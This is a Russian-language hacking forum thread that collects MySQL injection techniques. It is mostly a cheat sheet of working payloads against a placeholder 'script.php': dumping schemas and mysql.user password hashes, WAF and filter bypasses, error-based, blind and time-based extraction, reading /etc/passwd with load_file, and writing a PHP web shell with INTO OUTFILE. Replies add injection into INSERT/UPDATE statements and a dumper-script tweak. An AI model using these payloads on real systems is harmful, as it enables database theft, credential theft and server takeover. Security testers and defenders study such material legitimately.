Старый 04.07.2010, 22:27   #1
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию Help по MySql инъекциям

Для восприятия нужны элементарные знания mysql и php
Целенаправленно не включены шаблонные варианты, дабы не загромождать трешем
================================================== ===================

Комментарии:

"/*" многострочный (в MySql >= 5.0.51 обязательно наличие закрывающего "*/")
"-- " Однострочный (пробел после "--" обязателен )
"#" Однострочный (%23)

Альтернативный подбор количества полей (при выводе ошибок):
script.php?par=1 order by 1,2,3,4,5,6,7,8,9,10
==>
Unknown column '7' in 'order clause'
6 полей

Системные переменные:
@@basedir
@@datadir
@@tmpdir
@@version_compile_os
@@version_comment - Комментарий к текущей версии MySQL сервера.
@@version_compile_machine - Тип архитектуры, для которой была скомпилирована данная версия MySQL сервера
@@log_error Путь к логу ошибок
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()

group_concat (вывод 1024 символа)

Примеры группировок:
поиск полей
group_concat(concat_ws(0x3a,table_schema,table_nam e,column_name))+from+information_schema.columns+wh ere+column_name+like+'%qwe%'
c 100 записи
mid(group_concat(concat_ws(0x3a,table_schema,table _name,column_name)),100,1024),2,3,4,5,6+from+infor mation_schema.columns
кроме information_schema
group_concat(table_name)+from+information_schema.t ables+where+table_schema!=0x696E666F726D6174696F6E 5F736368656D61
вывод всего
group_concat(table_name+order+by+1)+from+informati on_schema.tables+where+table_schema!='information_ schema'
group_concat(table_name+order+by+1)+from+informati on_schema.tables+where+table_schema!='information_ schema'+and+table_name>'last_table'
по имени таблицы
group_concat(table_name)+from+information_schema.t ables+where+ASCII(LOWER(table_name))=99
и т.д.
групировки (с возможностью использовать limit)
по базе
group_concat(table_name)+from+infor mation_schema.tables+group+by+table_schema+limit+1 ,1
по полю
group_concat(concat_ws(0x3a,user,password,file_pri v))+from+mysql.user+group+by+file_priv+limit+1,1

Кодировки:

script.php?par=1 union select cast(version()+as+binary)
script.php?par=1 union select convert(version(),binary)
script.php?par=1 union select convert(version()+using+latin1)
script.php?par=1 union select convert(version()+using+binary)
script.php?par=1 union select aes_decrypt(aes_encrypt(version(),1),1)
script.php?par=1 union select unhex(hex(version()))

Фильтрация и обходы WAF

Варианты пробелов
+, %2B, %20, %09, %0d ,%0А, /**/, /*tuns*/

Замена "=" -- like, IN, NOT IN
script.php?par=1 and substring(Version(),1,1)like(5)
script.php?par=1 and substring(Version(),1,1)not in(4,3)
script.php?par=1 and substring(Version(),1,1)in(4,3)

Замена substring()
script.php?par=1 and right(left(version(),1),1)=5
script.php?par=1 and left(version(),1)=4
script.php?par=1 and ascii(lower(substr(Version(),1,1)))=51
script.php?par=1 and (select mid(version(),1,1)=4)

Без пробелов:
Слепые
script.php?par=(1)and(lower(substring((select(pass )from(mysql.user)where(user="user")),1,1))='b')
script.php?par='1'and(exists(select(1)from(users)w here(ascii(lower(substring(user_id,1,1))))like(50) ))and'1'<'2'
С выводом
script.php?par=a')union(select'1',2,table_name,(4) from(information_schema.tables))%23
script.php?par=(-1)union(select(table_name),2,3,4,5,(6)from(informa tion_schema.tables))/*

Без запятых:
Слепые
script.php?par=1 and substring((select password from user where Host='localhost') FROM 1 FOR 1)>'f'
script.php?par=1 and mid((select password from user where Host='localhost') FROM 1 FOR 1)>'f'
script.php?par=(1)and(case when ascii(substring((select password from user limit 1 offset 0) from 1 for 1))>100 then 1 else (select 1 union select 2)end)
С выводом
script.php?par=1 union select 1/*!,*/2/*!,*/3/*!,*/4/*!,*/5/*!,*/6--

script.php?par=1 uNion SeLect 1 -- кривые регулярки
script.php?par=1/*!limit+0+union+select+version()+from+tables*/ -- WAF
script.php?par=1 union select version() from `db-forum`.forum_user -- дефис в имени базы

Обход magic_quotes (двойной запрос)
Допустим третье поле участвует в следующем запросе:
script.php?par=-1 union select 1,2,0x2D3120756E696F6E2073656C656374202731272F2A,4 ,5,6,7,8,9,10,11,12,13/*
2D3120756E696F6E2073656C656374202731272F2A ==> -1 union select '1'/*

Вывод в ошибке:

name_const (MySQL 5.0.12 > 5.0.64) (вывод 64 символа)
(select name_const((select 1),1)) - true
script.php?par=1 or(1,2)=(select*from(select name_const(version(),1),name_const(version(),1))a)
script.php?par=1 union select * from(select * from(select NAME_CONST((select column_name from information_schema.columns limit 1), 14)d) as t join (select NAME_CONST((select column_name from information_schema.columns limit 1), 14)e) b)a--

ExtractValue (MySQL 5.1>=) (вывод 31 символ)
script.php?par=1 AND extractvalue(1,concat(0x3a,(select pass from users limit 0,1)))
==>
XPATH syntax error: ':200820e3227815ed1756a6b531e7e0d'

rand (Mysql >= 4.1)(вывод 64 символа)
script.php?par=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE group by x)a)--
script.php?par=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))--
script.php?par=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))--
(в некоторых случаях требуется) например колонки типа VARCHAR и размерностью >153
script.php?par=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--
для таблиц с одной записью
script.php?par=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1) --
script.php?par=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) --

Вывод имён колонок (MySQL >= 4.1 колонки NOT NULL)

Select
script.php?par=(1)and(SELECT * from xek.users)=(1)
==>
Operand should contain 4 column(s)
script.php?par=1 and (1,2,3,4) = (SELECT * from xek.users UNION SELECT 1%0,2,3,4 LIMIT 1)
==>
Column 'id' cannot be null

Insert, Update, Replace
INSERT INTO table (`a`,`b`,`c`) VALUES ('1',if(1=1,NULL,'2'),'3')
Column 'name' cannot be null

MySQL 5 (актуально когда нет доступа к information_schema)
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
==>
#1060 - Duplicate column name 'id'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
==>
#1060 - Duplicate column name 'name'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a

PROCEDURE ANALYSE() (только колонки из таблицы участвующей в запросе, отсутствие ORDER BY в запросе)
script.php?par=1 limit 0,1 PROCEDURE ANALYSE()

Вывод данных при отсутствии имён колонок

MySql => 4.1.х. (Зависимость от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля)
script.php?par=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
6 принтабельный (например)
Подбираем количество полей в users:

script.php?par=-1 union select * from users,(select 1)a
script.php?par=-1 union select * from users,(select 1,2)a
script.php?par=-1 union select * from users,(select 1,2,3)a
.....
script.php?par=-1 union select * from users,(select 1,2,3,4,5,6,7,8,9)a Есть
Выводим.
script.php?par=-1 union select * from (select 1,2,3,4,5)b,users,(select 1,2,3,4)a
2 поле
script.php?par=-1 union select * from (select 1,2,3,4)b,users,(select 1,2,3,4,5)a
3,4,5 поля
script.php?par=-1 union select * from (select 1,2,3)b,users,(select 1,2,3,4,5,6)a
script.php?par=-1 union select * from (select 1,2)b,users,(select 1,2,3,4,5,6,7)a
script.php?par=-1 union select * from (select 1)b,users,(select 1,2,3,4,5,6,7,8)a

MySql =>4.0
script.php?par=1 union select *,1,2,3,4,5,6 from users
script.php?par=1 union select 6,users.*,2,3,4,5,1 from users

Инъекция после order by

Слепая (more than 1 row)
script.php?par=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))

В ошибке
(ExtractValue)
script.php?par=id,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))--
(rand)
script.php?par=(select 1 from (select count(0),concat((select version()),floor(rand(0)*2)) from information_schema.tables group by 2 limit 1)a)--
(name_const)
script.php?par=(select*from(select name_const(version(),1),name_const(version(),1))a)

В limit, offset
(в запросе не должен присутствовать order by)
script.php?par=1,111111111 union select version(),2,3,4--
script.php?par=111111111 union select version(),2,3,4--
Заливка шелла при file_priv ниже

Bencmark и SLEEP (MySQL 5)
script.php?par=1 and IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
script.php?par=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --

file_priv

Проверяем (SELECT,UPDATE, INSERT )
script.php?par=1 and 1=if(load_file('/etc/passwd') is not NULL,1,2)--+
Льём
SELECT запрос(любое место запроса, в т.ч limit)
script.php?par=1 limit 1 into outfile '/path/to/shell.php' lines terminated by "<?php system($_GET[c]);?>"--+
script.php?par=1 limit 1 into outfile '/path/to/shell.php' fields terminated by '' optionally enclosed by "<?php system($_GET[c]);die();?>"--+
читаем
script.php?par=1 and 1=(if(load_file('/tmp/test.txt') is not NULL,1,2)--+


================================================== ==============
Благодарности
Qwazar Dmitry Evteev Dr.Z3r0 Elekt Iceangel_ [Raz0r] l1ght Scipio Grey cr0w Slip

Таскалось отовсюду, мешалось с чем-то своим, так что, кого забыл, простите.
Когда что-то перетащится сюда проставлю линки.

Последний раз редактировалось Jokester; 24.08.2010 в 18:39..
Jokester вне форума   Ответить с цитированием
Старый 28.10.2010, 18:00   #2
v1d0q
 
Аватар для v1d0q
 
Регистрация: 09.07.2010
Сообщений: 91
Репутация: 85
По умолчанию

Ситуация:
Можно выполнить инъекцию типа and (select version())=(select version()), тоесть по сути только с помощью подзапросов. Плюс у пользователя присутствуют права(file_priv), тогда ...

Запрос вида
Код:
select username from users where username=1 and if((select concat(version(),0x3a,'<? php code ?>') into outfile '/usr/home/www/test.php'),1,2)=1
Выгрузит в файл информацию только с колонки "username", но никак не то что вы указываете в подзапросе, разве что это сможет помочь, если в ячейке username будет ваш пхп код (если в селекте подзапроса не будет функции типа version(),user(),etc., в файл вообще ничего не выгрузится). Но есть вариант, который сможет выгрузить в файл именно то, что мы указываем в подзапросе.

Код:
select username from users where username=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select 1 into outfile '/usr/home/www/test.php' lines terminated by "<? php code ?>"),floor(rand(0)*2)))

Последний раз редактировалось v1d0q; 28.10.2010 в 18:07..
v1d0q вне форума   Ответить с цитированием
Старый 29.11.2010, 18:28   #3
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Маленькое дополнение - многих ступорит чтение файлов через Error based SQLi (при наличии привилегей), просто забывают про ограничение в 64 символа и начало чтения с 1-го байта, дабы не было больше вопросов:

Такое не сработает:

Код:
?lol=123'+and+(select+1+from+(select+count(0),concat((select+load_file('/etc/passwd'),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)
просто не влезет, надо так:

Код:
первые 64 символа читаем (обратите внимание, начинаем не с 0, а с 1-го байта):

?lol=123'+and+(select+1+from+(select+count(0),concat((select+mid(load_file('/etc/passwd'),1,64),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)

дальше просто к прибавляем по 64:

?lol=123'+and+(select+1+from+(select+count(0),concat((select+mid(load_file('/etc/passwd'),65,128),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)

и т.д.
Pashkela вне форума   Ответить с цитированием
Старый 07.12.2010, 16:38   #4
s4avrd0w
 
Регистрация: 21.07.2010
Сообщений: 54
Репутация: 28
По умолчанию

относительно ограничений при Error based SQLi. Наблюдения для разных сред:
494 символа - Debian 5.0 (32-bit), MySQL 5.1.41-3~bpo50+11
153 символа - Ubuntu 8.04 (32-bit), MySQL 5.0.51a-3ubuntu5
129 символа - Windows XP SP3 IIS: 5.1, MySQL 5.1.41
s4avrd0w вне форума   Ответить с цитированием
Старый 07.12.2010, 16:40   #5
s4avrd0w
 
Регистрация: 21.07.2010
Сообщений: 54
Репутация: 28
По умолчанию

Особенности при использовании sleep():
mysql> select * from users where id = 1 AND SLEEP(5);
Empty set (5.03 sec)
mysql> select * from users where id = -1 AND SLEEP(5);
Empty set (0.00 sec)
mysql> select * from users where id = 1 OR SLEEP(5);
+------+------+
| id | name |
+------+------+
| 1 | t1 |
+------+------+
1 row in set (5.02 sec)
mysql> select * from users where id = -1 OR SLEEP(5);
Empty set (10.04 sec)
Таким образом, правильный вариант будет:
mysql> select * from users where id = -1 OR SLEEP(5)=0;
+------+------+
| id | name |
+------+------+
| 1 | t1 |
| 2 | t2 |
+------+------+
2 rows in set (10.04 sec)

Последний раз редактировалось s4avrd0w; 07.12.2010 в 16:57..
s4avrd0w вне форума   Ответить с цитированием
Старый 08.12.2010, 02:11   #6
s4avrd0w
 
Регистрация: 21.07.2010
Сообщений: 54
Репутация: 28
По умолчанию

SQLi в Insert/Update/Delete/etc

Все знают, что склеивание строк в MySQL происходит с использованием функций concat() и concat_ws(), а также с использованием комментариев /**/ и /*!12345*/, или, с использованием "размешивания" кавычек "1"'2'"3" и '1'"2"'3'.

Но не все знают, что MySQL поддерживает все следующие операнды для работы со строками:
+, -, =, &, |, &&, ||, <=>, <=, >=, !=, <>, ^, *, <<, >>, <>, %, /, <, >, or not, and not, div, xor, or, and

помимо привычных like, sounds like, regexp, rlike, not like, not regexp и т.д.

Так, запросы вида:
select * from users where name = 'te'+'st';
select * from users where name = 'te'='st';

вернут все содержимое таблицы users т.к. (select 'te'+'st') и (select 'te'='st') = 0

А запросы вида (select 'te'%'st') и (select 'te'/'st') = NULL и потому, в приведенной выше конструкции, аналогичным образом указанные запросы вернут содержимое всей таблицы.

Стоит сказать, что символы + и - можно "плодить" до бесконечности. И только, когда будет достигнут лимит строки (у меня это 1048577) результатом станет NULL.

К слову, для конструкций вида:
!=!, !=!!, !=!!! … !=!!!!! или !=!<!<!<! или !=!>!>! или !=!<!>! или !=!~!~! или !=!+! или !=!-!
это утверждение также справедливо.

Все приведенное выше находит свое применение, когда SQLi попадает в строковый параметр. И если в selection-based инъекциях можно на это особо не заморачиваться, то при эксплуатации инъекций в insert/update/delete/etc с этим приходится сталкиваться. Примеры:

/*(1)*/ insert into users (id,name) values (1,'sqli');

mysql> insert into users (id,name) values (1,''&(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a));
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'

в http/get:

/index.php?s='%2b(select+1+from(select+count(*),concat((select+user ()+from+information_schema.tables+limit+0,1),0x3a, floor(rand(0)*2))x+from+information_schema.tables+ group+by+x)a)%2b'

/index.php?s='%26(select+1+from(select+count(*),concat((select+user ()+from+information_schema.tables+limit+0,1),0x3a, floor(rand(0)*2))x+from+information_schema.tables+ group+by+x)a)%26'

/*(2)*/ insert into users set name='sqli';

mysql> insert into users set name=''div(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)!=!!!'';
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'

mysql> insert into users set name=''and(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)or'';
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'

Для Update/Delete запросы аналогичным образом будут работать.

Последний раз редактировалось s4avrd0w; 08.12.2010 в 02:19..
s4avrd0w вне форума   Ответить с цитированием
Старый 08.12.2010, 09:08   #7
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Тоже хотел писать об этом на днях.
Усе просто тут.

Дополню/напомню, заюзав операнды для работы со строками мы вылазим за кавычку.

- это хорошо/полезно, если в VALUES в последнем атрибуте иньекция, то вылазим => вывод в ошибке.
- если не в последнем атрибуте, то кроме этого еще можна через "," + подзапрос и урезаем запрос коментарием. => вывод в ошибке

Последний поможет если операнды для работы со строками не "функцыклируют" в уязвимом параметре.
}{оттабыч вне форума   Ответить с цитированием
Старый 15.12.2010, 10:57   #8
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Иногда при слепой инъекции фильтруются символы < и >.
Грязный хак дампера Видока (жмём на стрелочку в цитате) для использования бинарного поиска через least / greatest в этом случае. Подойдёт к любому дамперу, работающему на схожих принципах.

было
Цитата:
Сообщение от v1d0q Посмотреть сообщение
Собственно нужен был скрипт который кушает блинд без запятых, пробелов, etc.
PHP код:
 $xpl="?id=(155)and(ascii(lower(substring((select($ field)$from)from($pos)for(1)))))$condition/*"
стало
PHP код:
// $condition - выражение вида >10 или <80, нам нужна только цифра
$ch substr($condition,1); 
// уменьшаем или увеличиваем её на 1, применив особый говнокод
$ch $ch-(substr($condition,0,1)=='<'?1:-1); 
// модификация запроса
$xpl="?id=(3)and(".(substr($condition,0,1)=='<'?"g reatest":"least")."(ascii(substring((select($field )$from)from($pos)for(1))),$ch))=$ch/*"

Последний раз редактировалось tipsy; 03.02.2011 в 13:30..
tipsy вне форума   Ответить с цитированием
Старый 10.01.2011, 04:21   #9
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию

Сегодня встретилось, фильтр на все возможные concat =\
Измудрился вот так
Код:
INSERT(insert(table_schema,1,0,0x3a3a3a),1,0,tAble_Name)
Думаю пригодиться.
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием
Старый 13.07.2011, 16:16   #10
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Нашел достаточно универсальный способ получения данных при отсутствии имён колонок.
Достигается это путем объединения с запросом, в котором имена колонок заданы(известны):
PHP код:
select x1,x2 from (select 1 x1,2 x2,3,4 union select 'c1','c2','c3','c4')z

select x from 
(select 1 x,2,3,4 union select from users)
при таком подходе единственное, что надо узнать - имя таблицы и количество ее колонок.

пробовал на 5-ке и 4-ке (4.1) - работает.


ps способ поиска количества колонок в таблице mysql.user:
Код:
select 1 from information_schema.COLUMNS where 1=1 
 and(select(count(*))from(select*from(mysql.user)order by(1))xe3)

Последний раз редактировалось DrakonHaSh; 08.04.2012 в 12:12..
DrakonHaSh вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot